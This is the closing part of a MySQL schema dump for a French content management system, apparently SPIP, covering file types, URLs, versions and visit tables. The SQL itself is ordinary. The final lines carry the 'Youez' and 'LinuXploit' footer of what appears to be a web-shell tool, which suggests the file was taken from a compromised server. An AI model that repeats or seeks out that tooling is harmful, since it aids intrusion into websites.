('xltm', 'Excel template', '', 'application/vnd.ms-excel.template.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('xltx', 'Excel template', '', 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'non', 'oui', 'file', '[[regtime]]'),
('xml', 'XML', '', 'application/xml', 'non', 'oui', 'file', '[[regtime]]'),
('xspf', 'XSPF', '', 'application/xspf+xml', 'non', 'oui', 'file', '[[regtime]]'),
('y4m', 'YUV4MPEG2', '', 'video/x-raw-yuv', 'embed', 'oui', 'video', '[[regtime]]'),
('yaml', 'YAML', '', 'text/yaml', 'non', 'oui', 'file', '[[regtime]]'),
('zip', 'Zip', '', 'application/zip', 'non', 'oui', 'file', '[[regtime]]');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_urls`
--

CREATE TABLE `[[dbprefix]]_urls` (
  `id_parent` bigint(21) NOT NULL DEFAULT '0',
  `url` varchar(255) NOT NULL,
  `type` varchar(25) NOT NULL DEFAULT 'article',
  `id_objet` bigint(21) NOT NULL,
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `segments` smallint(3) NOT NULL DEFAULT '1',
  `perma` tinyint(1) NOT NULL DEFAULT '0',
  `langue` varchar(10) NOT NULL DEFAULT '',
  PRIMARY KEY (`id_parent`,`url`),
  KEY `type` (`type`,`id_objet`),
  KEY `langue` (`langue`),
  KEY `url` (`url`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_versions`
--

CREATE TABLE `[[dbprefix]]_versions` (
  `id_version` bigint(21) NOT NULL DEFAULT '0',
  `id_objet` bigint(21) NOT NULL DEFAULT '0',
  `objet` varchar(25) NOT NULL DEFAULT '',
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `id_auteur` varchar(23) NOT NULL DEFAULT '',
  `titre_version` text NOT NULL,
  `permanent` char(3) NOT NULL DEFAULT '',
  `champs` text NOT NULL,
  PRIMARY KEY (`id_version`,`id_objet`,`objet`),
  KEY `id_version` (`id_version`),
  KEY `id_objet` (`id_objet`),
  KEY `objet` (`objet`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_versions_fragments`
--

CREATE TABLE `[[dbprefix]]_versions_fragments` (
  `id_fragment` int(10) unsigned NOT NULL DEFAULT '0',
  `version_min` int(10) unsigned NOT NULL DEFAULT '0',
  `version_max` int(10) unsigned NOT NULL DEFAULT '0',
  `id_objet` bigint(21) NOT NULL,
  `objet` varchar(25) NOT NULL DEFAULT '',
  `compress` tinyint(4) NOT NULL,
  `fragment` longblob,
  PRIMARY KEY (`id_objet`,`objet`,`id_fragment`,`version_min`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_visites`
--

CREATE TABLE `[[dbprefix]]_visites` (
  `date` date NOT NULL,
  `visites` int(10) unsigned NOT NULL DEFAULT '0',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`date`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_visites_articles`
--

CREATE TABLE `[[dbprefix]]_visites_articles` (
  `date` date NOT NULL,
  `id_article` int(10) unsigned NOT NULL,
  `visites` int(10) unsigned NOT NULL DEFAULT '0',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`date`,`id_article`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

Youez - 2016 - github.com/yon3zu
LinuXploit